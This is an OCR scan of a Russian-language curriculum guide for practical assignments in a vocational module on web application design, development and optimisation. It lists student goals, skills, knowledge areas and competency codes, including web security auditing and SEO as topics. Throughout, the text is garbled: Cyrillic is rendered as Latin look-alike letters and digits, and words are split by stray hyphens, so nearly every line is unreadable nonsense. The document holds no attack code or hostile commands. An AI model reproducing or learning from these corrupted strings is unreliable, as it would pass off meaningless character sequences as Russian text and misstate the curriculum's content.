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100m1e mo10:KeHus

MeTtoaudeckre yka3zaHusl 1O BBIIOJHEHUIO MPAKTUYECKUX 3aJaHuil 1Mo mpodecCHOHaIbHOMY MOMAYIIIO
I[IM.09  IIpoexTnpoBaHue, pa3padOTKa ¥ ONTUMH3AIMA BEO-NPUIOKEHUH  CO3MaHBl IS
oOyyvaroruxcst 3,4 kypca cnienanbHocTd 09.02.07MHpOpMAIIMOHHBIE CUCTEMBI M IPOTPAMMUPOBAHNE

[IpakTryeckue 3aHITHUS TPOBOJSATCS C LEIbIO:
— CHCTEMaTH3aIliH U 3aKPEeIICHUS MOTYYEHHBIX TEOPETUUECKUX 3HAHU;
— (¢dopMUpPOBaHUS YMEHHI UCIIOJIb30BATh MOJyUYEHHBIC 3HAHUSA JUISl PEIICHUs KOHKPETHBIX 3a/1a4;
—  pa3BUTHSI O3HABATEIBHBIX CIIOCOOHOCTEN U aKTUBHOCTU OOYYAIOIIUXCS: TBOPUECKON
WHUIMATUBBI, CAMOCTOSITETLHOCTH, OTBETCTBEHHOCTH, OPTraHU30BAHHOCTH;
— ¢opMuUpOBaHUE CAMOCTOSITEILHOCTH MBIIIICHHUS;
— ¢opMupoBaHus 00X U TPOHECCUOHATHLHBIX KOMITIETEHITUH.

[IpakTryeckue 3a1aHus BBIIOJIHIIOTCS CTYASHTOM 0 3aJaHuI0 npernoaasarens. [lepea BolnosHeHUEM
o0yyaroImuMucs MPaKTUYECKUX 3aJaHui MpenoaBareib MPOBOAUT MHCTPYKTAXK MO BBINOJIHEHHIO
3a7aHusl, KOTOPBIN BKJIOYAET LEJIb 33/1aHNs, €T0 COAEpKaHNe, OCHOBHBIE TPEOOBAHMS K pe3yJIbTaTaM
paloThI, KPUTEPUH OLICHKH.

ITo KaXXIOMY IIPAKTUYCCKOMY 3a1aHUIO O6y‘l31-0H.[PIfICH BBIIIOJIHACT OTUYCT B 3JICKTPOHHOM BUIC, B
KOTOPOM NPpCACTABIACT PE3YJIbTAThl BBINOJIHCHHA MPAKTUICCKOI0 3alaHUs — CKPUHIIOTHI PE3YJILTATOB,
KO pa3pa6aTBIBaeMBIX IMpOrpaMMHBIX HpPIJ'IO)KSHHfI, OTBCTBI HAa BOIIPOCHI 3aJIaHHBIC ITPECIIOAAaBATCIICM.

B pe3ynbraTe BHINOIHEHUS MPAKTUUECKUX 3a/laHUi 110 mpodeccuoHanbHOMy Moayito [TM.09
[IpoektupoBanue, pazpaboTka U ONTUMH3ALMS BEO-IPUIIOKEHNN 00yYatOIUNCS JOKEH:

HMEThb HpaKTI/I‘leCKI/Iﬁ OIIBbIT:

OC}’H.ICCTBJISITB 060p MpeABAPUTCIIbHBIX JAHHBIX AJId BBIABJIICHUA TpC6OBaHI/II>'I K BC6—HpI/IJ'IO)KCHI/IIO.

OnpenensaTs NepBoHaYaIbHbIE TPEOOBAHUS 3aKa3uMKa K BEO-NPHIIOKEHUIO U BO3SMOXXHOCTH UX peaTu3aliH.

[TonOupath onTUMaIbHbIE BApUAHTHI peATU3alMK 33/1a4 U COITIACOBAHME UX C 3aKa3YMKOM.

OdopmiATh TEXHUYECKOE 3a/1aHHE.

BbINOMHATE BEPCTKY CTPaHUL] BEO-NPUIIOKEHUH.

KoaupoBaTh Ha si3bIkax BeO-POrpaMMUPOBAHMUSL.

PaszpabartbiBath 0a3bl JaHHBIX.

Vcnonb30BaTh crielualbHble TOTOBbIE TEXHUUECKUE PEIIeHUs IPH pa3padoTKe BeO-MPUI0KEHUH.

BrImonHATs pa3paboTKy M MPOEKTUPOBaHUE HHPOPMALMOHHBIX CHCTEM

PazpabaTbiBaTh HHTEp(EIC MOJIB30BATENS.

PazpabaTpiBaTh aHUMAIIMOHHBIE () (HEKTHI

YcranaBnuBaTh M HacTpauBaTh BeO-cepBepbl, CYB/ i opranuzanuu paboThl BEO-NPHIIOKEHHH.

Hcnonp30BaTh MHCTPYMEHTAIBHBIE CPEICTBA KOHTPOJIA BEpCUIl U 0a3 JaHHbIX.

ITpoBoUTH pabOTHI O pe3epPBHOMY KOIMPOBAHUIO BEO-IPUIIOKEHUI.

BoInonHATE peructpanuio 1 o0padoTKy 3apocoB 3aKazyuKa B CiIyK0e TEXHUUECKON MOAJIEPIKKH.

Vcnonb30BaTh MHCTPYMEHTANIbHbIE CPECTBA KOHTPOJIS Bepcuil U 6a3 TaHHBIX, ydeTa 1e(heKTOB.

TecTupoBaTh BEO-IIPUIIOKEHUS C TOUKU 3PEHMSI IOTUYECKON LIEJI0CTHOCTH.

TecTupoBaTh UHTETPALUIO BEO-IIPUIOKEHNS C BHEITHUMHU CEPBUCAMU U YUETHBIMU CHCTEMaMH.

[Ty6nukoBaTh BeO-pHIIOKEeHUs Ha 6a3e XOCTHHTa B ceTH VIHTepHeT.

Peann3oBbIBaTE MEPONPUATHS IO NPOJABUKEHUIO BEO-TTpUII0KEeHUH B ceTu MHTEpHeT.

CobupaTh U NpeABapUTEIbHO aHAIM3UPOBATh CTATUCTHUECKYIO HH(OpMaLKIO 0 paboTe BEO-NPUII0KEHUN

ObecneunBaTh Oe30macHy0 U Oecniepe0oiiHyo padboTy

MoaepHU3UpOBaTh BEO-TIPUIIOKEHUS C YUETOM MPABHII M HOPM MOJATOTOBKH MH(POPMALIUHU IS TIOUCKOBBIX

cHCTEM

Peann3oBbIBaTE MEPOIIPUATHS 110 POABHKEHUIO BEO-NIpUiIokeHui B cetn MHTEpHeT.

CoOupath 1 MpeaBapUTeNIbHO aHAIM3UPOBATh CTATHCTUYECKYI0 HH(POPMAIIUIO O paboTe BeO-IPUIIOKEHHH.
yMeThb:

pacro3HaBaTh 3a/a-4y W/WIU MpoodiieMy B Mpo-(EeCCHOHATBPHOM W/WIU CO-IMATHPHOM KOHTEKCTE; aHa-

JU3UPOBATh 3a/1a4y W/WIK MPOOJIEMY U BBIACTATH €€ COCTaBHBIC YaCTH; ONpEe-JIsATh 3Talbl peleHus 3a/1a-



9M; BBIABIAT, M A((YEKTHBHO HUCKaTh HHPOPMAIMIO, HEOO-XOIUMYIO IJs pelIeHHs 3a-Ja4yd W/WiIH
IpOo0JIEMBI; CO-CTAaBUTh IUIAH JCHCTBUS; OMNPEIEIUTh HEOOXOAMMBIE PECYpPChI; BIAAETh aKTyalb-HbIMU
MeToJlaMu paboThl B MNpOQecCHOHAIBHON M CMEXHBIX cdepax; peann30-BaTh COCTaBICHHBIN ILUIaH;
OLIEHUBATh PE3YJIbTAT U MO-CIEACTBUS CBOUX JEHCTBUI (CAMOCTOSTEIBHO WIIN C TIO-MOILBIO HACTABHUKA)

- OTIpeAeIIATh 3aa4u JUIsl TOMCKa MHPOPMAIUH; ONIpeesaTh HEOOXOAUMbIE HICTOYHUKN HHPOPMAIIHH;
TUTAHUPOBATh TPOLIECC TO-MCKA; CTPYKTYpUPOBATh NO-JIydaeMylo HH(GOpMAIMIO; BBIACIATh Haubolee
3HaYUu-MO€ B TMepeyHe HHQPOpMa-IIMK; OIECHUBATh MPAKTUYE-CKYI0 3HAUMMOCThb pE3yJb-TATOB IOUCKA;
oopMIIATE pe3yIbTaThl TOUCKA

- OTIpPEEIATh AaKTYy-aJIbHOCTh HOPMATHUBHO-IIPABOBOW JOKyMEHTAllMM B MpodeccCHOHaNbHOU mes-
TEIbHOCTH; MPUMEHSATH CO-BPEMEHHYIO HayUHYI0 MPO-(PecCHOHAIbHYIOTEPMUHO-JIOTHIO; ONPEAEIATh U BbI-
CTpauBaTh TPAEKTOPHUHU MPO(ECCHOHATEHOTO Pa3BU-TUS U CaMO0OOpa30BaHUs

- OpraHM30BbIBaTh pa-00Ty KOJIJIEKTMBA M KOMaH-Ibl; B3aUMOJICHCTBOBATb C KOJUIETaMH,
PYKOBOJICTBOM, KITUEHTAMHU B X0/I€ MPO(eCc-CHOHAIBHOMN eATeIbHOCTH

- TpPaMOTHO H3JIaraTh CBOM MBICIH M O(OPMIISATH JOKYMEHTHI 1O MPOQEeCcCHO-HAITBHON TeMaTHKE Ha
roCy-JIapCTBEHHOM SI3bIKE, MPOSIB-JIATH TOJEPAHTHOCTDH B pa-00ueM KOJIJICKTUBE

- OINMCHIBATh 3HAYU-MOCTh CBOEH CHEMAIbHO-CTH

- coOI0AaTh HOPMBI HKOJIOTUYECKOM 0€30MacHO-CTH; ONPeAEsATh HalpaBiie-HUs pecypcocOepekeHus
B paMKax NMpodeccCHOHAIbHON AEATEIbHOCTHU TI0 CIIeHATb-HOCTH

- UCTIONB30BaTh (U3-KYJIbTYPHO-03/I0POBUTEIBHYIO JEATEIb-HOCTh [IJISl YKPEIUICHUS 3710-POBbS,
TOCTIDKEHHSI JKU3-HEHHBIX M TPO(eCcCHOHANb-HBIX IIeJIei; MPUMEHSTh pa-IIMOHAJIbHBIE MPUEMBI JBHTa-
TeNbHBIX (PYHKIMN B MPO-heCcCHOHATBHON AESITeTbHO-CTH; TOJIb30BaThCS CPeA-CTBAMU MPO(UIAKTUKU Tie-
peHanpsKEHUs] XapaKTep-HbIMU JUIsl JaHHOW CHEU-aJIbHOCTH

- NPUMEHATh CPeACTBa MH(DOPMAIIMOHHBIX TEXHOJO-TUH Al pelieHus: mpodec-CHOHaIbHBIX 3a7ady;
MCTIOJIb-30BaTh COBPEMEHHOE MPO-TPaMMHOE 00ecTieueHHe

- MOHUMATh OOIIUI CMBICIT YETKO MPOU3HECEH-HBIX BHICKa3bIBAHUN Ha W3-BECTHBIE TeMBI (IIpodeccro-
HaJIbHBIC U OBITOBBIE), TO-HUMATh TEKCTHI Ha 0a30BbIe MPO(ECCHOHATBFHBIE TEMBI; YIaCTBOBAThH B IMAJIOTAX
Ha 3HaKOMbIe oOmIMe U Mpodec-CHOHANBHBIE TeMbI; CTPOUTH MPOCTHIE BBICKAa3bIBaHM O cebe M O cBoei
npodeccruo-HaTbHOU JIEATEIBHOCTH; KPaTKO OOOCHOBBIBATH U OOBSICHUTH CBOW JEHCTBUS (TEKyIIUE U
IUTAaHUPYEMBbIE); MHUCaTh TMPOCThIe CBA3HBIE COOOLICHHMS Ha 3HAKOMbIE WJIM HMHTEPECYIOIIUe TMpo-
(deccruoHaIbHBIC TEMBI

- BBISIBJISITH JOCTOMH-CTBA U HEJOCTaTKU KOMMEP-YE€CKOW HWJIeH; IMPE3EHTOBAaTh WU OTKPBITUS
COOCTBEH-HOTO Jefla B TPO(ecCHo-HAIBHONW JeATeNFHOCTH; O(QOPMIISTh OW3HEC-IUIAH; PACCUUTHIBATH
pa3Mepsl BBI-IUIAT 10 TPOLEHTHBIM CTaB-KaM KPEIWTOBAHMS, ONpeAe-IsATh WHBECTHUIIMOHHYIO MpH-
BJICKATEeJIbHOCTBKOMMEpPYE-CKUX HJCH B paMKax Mpo-(pecCHOHATBHON NesSTeTbHO-CTH; TNPE3EHTOBAThH
Ou3HEC-UJICI0; OTPEACIIATh UCTOY-HUKH (PMHAHCUPOBAHHUS

[IpoBOANTH aHKETHPOBAHUE.

[TpoBOANTH HHTEPBHIOMPOBAHHUE.

OdopMIATh TEXHUUECKYIO JOKYMEHTAIHIO.

Ocy1iecTBIATh BEIOOP OTHOTO M3 TUIIOBBIX PEIICHUI.

PaGotaTes co cnenuanu3upoBaHHBIM TMPOTPAMMHBIM OO€cledeHHeM MJis IUIAHUPOBAaHUS BpPEMEHU U
OpraHu3anuu padboThI C KIMCHTAMHU.

Pa3pabartbiBaTh IporpaMMHBIN KO KIIMEHTCKOM M CEpBEPHOI YacTH BEO-MPHIIOKEHUH.

Hcnonb30Bath 361K pa3METKH CTPAHUIL BEO-TTPUIIOKECHUSI.

OdopMsATH KOJI IPOrpaMMBbI B COOTBETCTBUHU CO CTAaHAAPTOM KOJUPOBAHUSI.

Hcnonb30BaTh 00BEKTHRIC MOJICTTH BEO-TIPIIIOKEHUN U Opay3epa.

Hcnonw3o0Bath OTKpBITEIE OMOMMOTEKH (framework).

Hcnons3oBath BIOpaHHYIO Cpely IPOrPaMMHUPOBAHUS U CPEJICTBA CUCTEMBI YIIpaBIeHUs 0a3aMH JIaHHBIX.
OcymiecTBIATh B3aUMOJICHCTBHE KIIMEHTCKOW M CEpPBEPHOI YacTel BEO-MPUIIOKESHU.

Pa3pabarbiBaTh ¥ MPOCKTHUPOBATH HHPOPMAIIMOHHBIC CUCTEMBI

Pa3pabartbiBaTh IpOrpaMMHBINA KOJ KIIMEHTCKON 4acTH BEO-TIPHIIOKEHUN.

OdopMIATH KOJT IPOTPaMMBI B COOTBETCTBUHU CO CTAHAAPTOM KOJTUPOBAHUSI.

Hcnonb3oBaTh 00BEKTHBIE MOJIETH BEO-TIPIIIOKEHUHN U Opay3epa.

Pa3pabarbiBaTh aHUMAIMIO JUIS BEO-TIPHIJIOKEHUH JUIS TIOBBIIMICHUS €r0 JOCTYIMHOCTH W BH3YyaJlbHOU
npuBjiekareabHocTH (Canvas).

[ToxkirouaTh W HaCTpaWBaTh CUCTEMbl MOHUTOPUHTA paboThl BeO-mpuinoxeHuit U cOopa CTAaTUCTHKHU €ro
UCIIOJIb30BaHUS.



YcranaBnuBath U HacTpauBaTh BeO-cepBepa, CYB/] ans opranuzanuu paboThl BeO-MPUITOKESHHIH.
PaGorats ¢ cucremamu Helpdesk.
BoisicHsaTe w3 Oecenbl C 3aKa3uMKOM W TOHMMATh MPUYMHBI BO3HHUKIIUX aBAapPUMHBIX CUTYyallMid C
UH(HOPMAITMOHHBIM PECYPCOM.
AHanu3MpoOBaTh U PEIIATh TUIIOBBIE 3aIIPOCHI 3aKA3YUKOB.
BbINONMHATE peryiaMeHTHbIE POLEAYPHI IO PE3EPBUPOBAHUIO JAHHBIX.
YcTaHaBIMBaTh MPHUKIAIHOE IPOTPAMMHOE OOeCTIeUeHUE TSl pe3epBUPOBAHUS BEO-TIPUITOKEHHIA.
BbINonHATE OTHaAKy W TECTUPOBAHME MPOrPaMMHOTO Kojaa (B TOM 4YHCIE C HCIOJIb30BaHHEM
MHCTPYMEHTAIBHBIX CPEICTB).
BbINOMHATE ONTUMU3ALIMIO U PEPaKTOPUHT TPOrPAaMMHOTO KO/1a.
KoaupoBaTk Ha CKpUNITOBBIX sI3bIKaX MPOTPaMMUPOBAHUS.
TecTupoBaTh BEO-IPUIIOKEHUS C UCTIOIB30BAHUEM TECT-IJIAHOB.
[IpuMeHATh UHCTPYMEHTHI MOATOTOBKH TECTOBBIX JIaHHBIX.
Bri0upats 1 KOMOMHHUPOBATH TEXHUKU TECTUPOBAHHUSI BEO-TIPHIIOKEHHIA.
PaGoraTe ¢ cuctemMamu KOHTPOJII BEpPCHl B COOTBETCTBHM C PETrJIaMEHTOM HCIIONIb30BAHUS CHUCTEMBI
KOHTPOJISI BEPCUH.
BoInonmHATE IpOBEpKY BEO-MPUIIOKEHUS IO TEXHUYECKOMY 33 JaHUI0
BbIOMpaTh XOCTHHT B COOTBETCTBUH C MTapaMeTpaMH BEO-TIPHIIOKEHHS.
CocTaBisTh CPaBHUTEIBHYIO XapaKTEPUCTUKY XOCTUHIOB.
[TonkirouaTs W HACTpaMBaTh CHCTEMBI MOHMTOpPHHTra paboThl BeO-mpuioxeHnit U cOopa CTaTUCTUKH €ro
HCIIOJIb30BaHUA.
CocTaByiATh OTUET MO OCHOBHBIM ITOKA3aTeIsM MCIOJIb30BaHUs Bebd-npuiiokeHnii (peUTUHT, UCTOYHUKU U
MOBEJ/ICHUE TIOJIb30BaTeNel, KOHBEPCUS U JP.).
Ocy1iecTBIATh ayUT O€30MaCHOCTH BEO-TTPHUIIOKECHUH.
MonudunmpoBars BeO-MPUIOKEHHWE C 1ETbI0 BHEIPEHHsS MNPOrpaMMHOrO0 KoJa MO 00ecleyeHHUIo
0e30macHOCTH ero paboThl
MonudunmpoBath Koa BeO-MPUIOKEHHS] B COOTBETCTBUHU C TPeOOBAHUSIMH U PETriIaMEHTaMH MOMCKOBBIX
CHCTEM.
Pa3memaTh TeKCTOBYIO U TpaduiecKyro HHPOPMAIIMIO Ha CTPAHUIIAX BEO-TIPHIIOKEHUS.
PenaktupoBats HTML-k0 ¢ MCTIOSIB30BaHUEM CUCTEM aMUHUCTPUPOBAHHS.
ITposepars HTML-kox Ha COOTBETCTBUE OTPACIEBBIM CTaHIApTaM
[TonkirouaTs W HACTpaMBaTh CHCTEMBI MOHMTOpPHHTra paboThl BeO-mpuioxeHnit U cOopa CTaTUCTUKH €ro
HCIIOJIb30BaHUA.
PaboTath ¢ cucTeMaMu pOABHKEHHUS BEO-TIPUIIOKECHUH.
[Ty6nukoBaTh HHPOPMAIMH O BEO-TIPHIIOKEHUN B CHIEIIMATBHBIX CIIPAaBOYHHUKAX U KaTalorax.
OcymiecTBiATh IOJ00pP M aHAIHM3 KIIOYEBBIX CJIOB U (pa3 Uil COOTBETCTBYIONIEH MpeIMEeTHOH 00acTu ¢
HCIIOJIb30BAHUEM CIIEIMATIM3UPOBAHHBIX POIPAMMHBIX CPEJICTB.
CocTaByATh TEKCThl, BKJIIOYAIOLIME CCBHUIKM Ha TMPOJBUraeMblil cailT, Juid pa3MelleHHs Ha cailTax
MapTHEPOB.

— OcyuecTBIsATh ONTUMHU3AIMIO BEO-TPUIIOKEHHUSI C LIENbIO IMOBBIIICHUS €ro peHTHHTa B CEeTH
HUHTEpHET.
3HATh:
aKTyaJIbHBIN MPO(ecCHOHABHBIN U COIMANBHBIM KOHTEKCT, B KOTOPOM IMPUXOJIUTCS paboTaTh U JKUTH;
OCHOBHbIE HCTOYHUKH HH(POPMAILIUU U PECYPCHI I PEeLIeHUs 3aj1a4 U pobieM B MpodhecCHOHATEHOM
W/WJIHA COIIMAIbHOM KOHTEKCTE;
aJITOPUTMBI BHITIOJIHEHHSI paboT B PO ECCHOHATBHON M CMEXHBIX 00JIaCTAX; METO/IbI pabOThI B
npodeccuoHaIbHOM U CMEXHBIX cpepax; CTPYKTYpy IUIaHa I PelIeHus 3ajay; MOPsI0K OLIEHKH
Pe3yJbTaTOB peIIeHHs 3a/1a4 MPOopECCUOHATIBHOM 1eATEIbHOCTH
HOMEHKJIaTypa HH(GOPMALIMOHHBIX HCTOYHUKOB, IPUMEHSEMBIX B TPO(HECCHOHATILHON e TeIbHOCTH;
IpUEMBbI CTPYKTYpUpOBaHUs HH(popMaru; GopMaT oopMIIeHHs pe3yIbTaTOB MOMCKa UH(OpMAIUU
coJiep>KaHuE aKTyaJbHOW HOPMaTUBHO-TIPABOBOW JOKYMEHTAI[MH; COBpEMEHHAsI Hay4Has U
npodeccuoHaIbHas TEPMUHOJIOTHS; BOZMOKHBIE TPACKTOPHU MPOGECCUOHATIBHOTO PAa3BUTHUS U
caMm000pa3oBaHUS
MICUXOJIOTHYECKUE OCHOBBI IESTEIbHOCTH KOJJICKTHBA, ICUXOJOTHYECKHUE OCOOCHHOCTH JIMYHOCTH; OCHOBBI
MPOEKTHOM eI TEbHOCTH
0COOEHHOCTH COLIMATBHOTO U KYJIBTYPHOT'O KOHTEKCTA; MpaBmiia 0(hOpMIICHHUS TOKYMEHTOB U IIOCTPOCHUS
YCTHBIX COOOIIEHUHN



CYIITHOCTh TPaXIaHCKO-NATPUOTUYECKOM MO3UIINH, OOIIEYEIOBEYECKUX 1IEHHOCTEN; 3HAYUMOCTh
npodeCCHOHATBHOMN IeSATENFHOCTH 110 CIIEIIHATLHOCTH

MpaBHJIa HKOJIOTUYECKON 0€30MacHOCTH NP BeJCHUH NMPOo(ecCHOHAIBHOM 1eTEeIbHOCTH; OCHOBHBIC
pecypchl, 3aIeiCTBOBaHHBIE B IPOPECCUOHATIBHOMN EATENFHOCTH; IyTH 00eCTIeYeHHs pecypcocOepeKeHus
poiib GU3NYECKON KYTBTYPHI B OOIIEKYIBTYPHOM, MPOPECCHOHAIIEHOM M COITHAIILHOM Pa3BUTHH YEIIOBEKA;
OCHOBBI 3JIOPOBOTO 00pa3a KU3HH; YCIOBUS PO(HECCUOHATEHON NESTSIIbHOCTH U 30HBI PHCKa (PU3UISCKOTO
3JI0OPOBBS AJIs CHEIHATILHOCTH; CPEICTBA MPOMUIAKTUKY MIEPEHAIPSHKEHUS

COBpPEMEHHBIE CPECTBA M YCTPOUCTBA MH(OPMATH3AIINHI; TIOPSIIOK MX IPUMEHEHUS M TPOTPaMMHOE
oOecniedyeHre B mpoheCcCUOHATBLHON eI TeNbHOCTH

MpaBUiIa MOCTPOSHHS MPOCTHIX U CIOKHBIX MPEIOKEHUH Ha TPO(ECCHOHANBHBIE TEMBI; OCHOBHBIC
o01eynoTpeOuTeNIbHBIC TIarosbl (ObITOBas U TpodecCHOHaNIbHAS JIEKCHKA); JICKCHISCKU MUHUMYM,
OTHOCSIIIIMIACS K OTMCAHUIO MTPEIMETOB, CPEJICTB M MPOIIECCOB MPO(EeCCHOHAIBHON I TETbHOCTH;
0COOEHHOCTH MPOU3HOLICHHUS; TIPaBUJIa UTEHUS TEKCTOB MPOo(eccroHalIbHOM HAIPaBICHHOCTH

OCHOBBI TIPEANTPUHUMATEIBCKON AEITEIBHOCTH; OCHOBBI (PMHAHCOBOM TPaMOTHOCTH; TIPaBUIIa Pa3pabOTKH
OM3HEC-TIJIaHOB; MOPSIOK BHICTPAaUBAHUS MPE3CHTAIMHU; KPEAUTHBIE 0AHKOBCKUE MPOIYKTHI

Hopwmsl 1 ipaBuiia BHIOOpA CTHIMCTUYECKUX PEIICHUH.

WHCTpYMEHTHI 1 METO/IbI BBISBIICHHUS TPEOOBaHUIA.

TunoBble penieHus 1no pa3padoTke BeO-MPUI0KEHHI.

Hopwmsl 1 ctannapTel 0opMIICHHS TEXHUIECKOH IOKYMEHTAIINH.

[TpuHIMITBI TPOEKTUPOBAHUS U pa3pabOTKU HH(OPMALIMOHHBIX CUCTEM.

S3pIkM  TpOrpaMMHUpPOBAaHUS U Ppa3METKH JUIsl pa3pabOTKU KIMEHTCKOM M CepBEpHON YacTu BeO-
MIPUITIOKEHUH.

[TpuHIHMITEI pabOTH 0OBEKTHON MOJIEIIH BEO-TIPUIIOKEHH 1 Opay3epa.

OCHOBBI TEXHOJIOTUHU KIIMEHT-CEPBEP.

Oco0eHHOCTH 0TOOpaXeHMsI BEO-IIPUIIOKEHUH B pa3Mepax pabodyero npocTpaHCcTBa YCTPOMCTB.
OcoGenHoctu otobpaxenus s1uemeHToB VP B pasnuunbix Opaysepax.

OcobeHHocTH BEIOpaHHOM Cpebl MPOrPAMMUPOBAHUSI U CUCTEMBI yIIpaBIeHUs 0a3aMU JaHHbIX.

SI3bIKU POTPaMMHUPOBAHUS U PA3METKH TS pa3paboTKU KIMEHTCKOW YacTH BEO-TPUIOKEHHIA.
[TpuHIHMITEI pabOTH 0OBEKTHON MOJIEIH BEO-TIPUIIOKEHHH 1 Opay3epa.

TexHonoruu i pa3pabOTKH aHUMAIIUH.

CriocoObl MaHUMYJISALIMY 3JIEMEHTAMH CTPAHUIIBI BEO-TIPUITOKEHUSI.

Buner anuManuu 1 cnocoObl ee IpUMEHEHUSI.

OcHOBHBIE MTOKA3aTETU UCIOJIb30BaHUsI BeO-mpuiioxkeHuii U crocoObl MX aHaIu3a.

PernamenTs! paboT Mo pe3epBHOMY KOMMPOBAHUIO U Pa3BEPTHIBAHUIO PE3EPBHON KOMUIT BEO-TTPHUIIOKEHUH.
CriocoObI 1 cpeacTBa MOHUTOPHUHTA PaOOThI BEO-TIPHITIOKEHHIA.

MeTto/b1 pa3BepThIBaHUs BEO-CITYKO U CepBEPOB.

[TpuHIMIIBEI OpraHu3anuy padoOTHI CITYKOBI TEXHHUECKOW TOICPIKKH.

OO01111e OCHOBBI pEIIeHUs MPAKTHUECKUX 3aa4 M0 CO3JJaHUI0 PE3EPBHBIX KOMUH.

CeTteBble MPOTOKOIIBI M OCHOBBI WEb-TEXHOJIOTHIA.

CoBpeMeHHbIE METOAMKHN TECTUPOBAHUS YPTOHOMUKH MOJIb30BATEIHCKUX UHTEP(EICOB.

OCHOBHBIE IPUHIIMITEI OTIAJAKA U TECTUPOBAHUS MTPOTPAMMHBIX TPOTYKTOB.

MeTop1 OpraHu3auy padoThl IPU MPOBEACHUU MTPOLEAYP TECTUPOBAHUS.

B0O3MOXHOCTH UCHOJIB3yEMONW CHUCTEMBI KOHTPOJS BEPCHM M BCIIOMOTaTENbHBIX HMHCTPYMEHTAJIbHBIX
MPOrPaMMHBIX CPEJCTB AJsi 00pabOTKU UCXOJIHOTO TEKCTa MPOTrPaMMHOTO KO/Ia.

PernmamMeHT uConb30BaHUs CUCTEMbBI KOHTPOJISI BEPCHIA.

[IpenMeTHy10 061aCTh IPOEKTA JAJISi COCTABICHHSI TECT-TJIAHOB.

XapaKTepUCTUKH, TUTIBI U BHJIBI XOCTHHTOB.

MeTtos! 1 criocoObl iepeaun nHpopMaluu B cet MHTepHeT.

VYeTpoiicTBO U paboTy XOCTUHT-CUCTEM.

OcHoBHbIE MIOKa3aTeNu UCTIOIb30BaHUS BeO-npuiokeHnii u cocoObl NX aHAIN3A.

Bunel 1 MeToibl pacueta MHAEKCOB uTupyemoctu Beb-npunoxennii (TULL, BULI).

HcTounuku yrpo3 nHGpOpMaIlMOHHON 6€30MacHOCTH U MEPhI IO UX MPEAOTBPAILICHUIO.

PernamenTs 1 MeTOABI pa3pabOTKH O€30MaCHBIX BEO-TIPHIIOKEHUI

OcoOeHHocTH pabOTHI CHCTEM yIpPaBICHUS CaliTaMu.

[TpunMne! (HYHKIIMOHUPOBAHUS TTOMCKOBBIX CEPBHCOB M OCOOEHHOCTH ONTHUMH3AaIMU BeO-mpuiioskeHuit
nmox Hux (SEO).



MeTtoas! ontTumuzanyu Beb-mpunoskenuit non couuanbabie Mmeaua (SMO).

[TpuHIHITE! GYHKITMOHUPOBAHUS MOMCKOBBIX CEPBUCOB.

Bunel u MeToibl pacuera MHAEKCOB LUTUpYyeMocTH BeO-npunoxenuit (THULL, BULI).

Crparerum npoiBUKEHUS B€O-NIPUIIOKEHUH B ceTH MIHTepHeT.

Buibl OMCKOBBIX 3alpOCOB MOJIB30BATENIEH B MHTEPHETE.

[TporpamMHBIe cpeacTBa W TUIATGOPMBI ISl 1MOAOOpa KIFOYEBBIX CIOBOCOYETAHHN, OTPAXKAIOIINX
cnenuduKy caura.

WHucTpyMeHTHI cOopa 1 aHalIn3a TIOMCKOBBIX 3aIIPOCOB.

BrinonHeHne npakTHYeCKUX 3a/laHuii TO3BOJISIOT (hOPMUPOBATH MPOQECCUOHAIBHBIE U 001IHe

KOMIICTEHIINH:
Kon HanmenoBaHue o0IIMX KOMIIETEHITHH
OK 1. Bri0upath criocoObl pemieHus 3agad npoeccCHOHATBHON AEATENbHOCTH, IPUMEHUTEIBHO K
pa3INYHBIM KOHTEKCTaM
OK 2. OcyliecTBIsATh IOWCK, aHATM3 W HMHTEPIpPETanui0 WHQOpPMAUK, HEOOXOAUMOW JUIst

BBITIOJIHCHUS 3a1a4 HpO(I)eCCHOHaIIBHOfI ACATCIBHOCTH.

OK 3 [InmaHnpoBaTh M peatn30BbIBaTh COOCTBEHHOE NPO(ECCHOHATBHOE U IMYHOCTHOE Pa3BUTHE.

OK 4 PaGoTtate B KomnekTHBE M KoMaHjie, 3(P(EKTUBHO B3aUMOACHCTBOBATH C KOJUIETAMH,
PYKOBOJCTBOM, KJIMEHTAMHU.

OK 5 OcyImecTBIsATh YCTHYI0 M IHCBMEHHYI0 KOMMYHHKAIIMIO Ha TOCYIApCTBEHHOM SI3BIKE C
YUETOM OCOOEHHOCTEH COLIMAIbHOIO U KYJIbTYPHOIO KOHTEKCTA.

OK 6 IIposiBIATE  IpaKJAHCKO-IATPUOTUYECKYIO IO3ULHUI0, JEMOHCTPUPOBATH  OCO3HAHHOE
MIOBEJICHUE HA OCHOBE TPAIUIMOHHBIX 00IIeYeI0BEYECKUX ICHHOCTEH

OK 7 CopelicTBOBaTh COXPAHEHWIO OKPYXKAIOIIEH cpenbl, pecypcocOepexeHuto, 3pdexTuBHO
JICHICTBOBATh B YPE3BbIYANHBIX CUTYaLIUsIX.

OK 8 Hcnonb3oBath cpencTBa GU3MUECKON KYJIBTYPBI Ul COXPaHEHUSI M YKPEIUICHUS 3JJ0POBBS B

nporecce NpoQecCHOHATBHON IEATENIbHOCTH M MOJAEPKaHHS HEO0O0XOIUMOIo YpPOBHSA
(u3nueCcKol NOATOTOBJICHHOCTH

OK9 Hcnonb3oBaTh HHPOPMAIIMOHHBIE TEXHOJIOTHHU B TPOPECCHOHAILHON eI TeTbHOCTH.

OK 10 [onp3oBaThest MpodeccOHANBbHON AOKYMEHTALMEeH Ha TOCYJapCTBEHHOM W WHOCTPaHHOM
SI3BIKE

OK 11 [I1aHrpOBaTh NPEANPUHUMATEIBCKYIO JISTSILHOCTh B IPOohecCHOHATLHOU cdepe

K 9.1 Pa3pabarbiBaTh TeXHHUYECKOE 3aJaHME Ha BEO-NPUIIOKEHHE B COOTBETCTBUHU C
TpeOOBaHUSIMU 3aKa3unKa

I1IK 9.2 P33pa6aTI>IBaTL Be6—HpI/IJ'IO)KeHI/Ie B COOTBCTCTBHH C TCXHUYCCKUM 3aJaHHUCM

1K 9.3 PazpabateiBate uHTEp(dEiic MONB30BATENS BEO-NIPHIOKEHUH B COOTBETCTBHUH C
TEXHUYECKUM 3aJaHUEM

[IK 9.4 | OcymecTBiIsITh TEXHHUYECKOE COMPOBOXKICHUE M BOCCTAHOBJICHHE BEO-TIPUIIOKCHHH B
COOTBETCTBUH C TEXHUUYECKHUM 3aJJaHUEM

1K 9.5 | [Ipon3BOauTh TECTHPOBAHNUE Pa3pabOTAHHOTO BEO MPUIIOKEHUS

IIK 9.6 Pa3meniaTh BeO NPHIIOKCHHUS B CETH B COOTBETCTBUU C TEXHHUYSCKHUM 3aJaHUEM

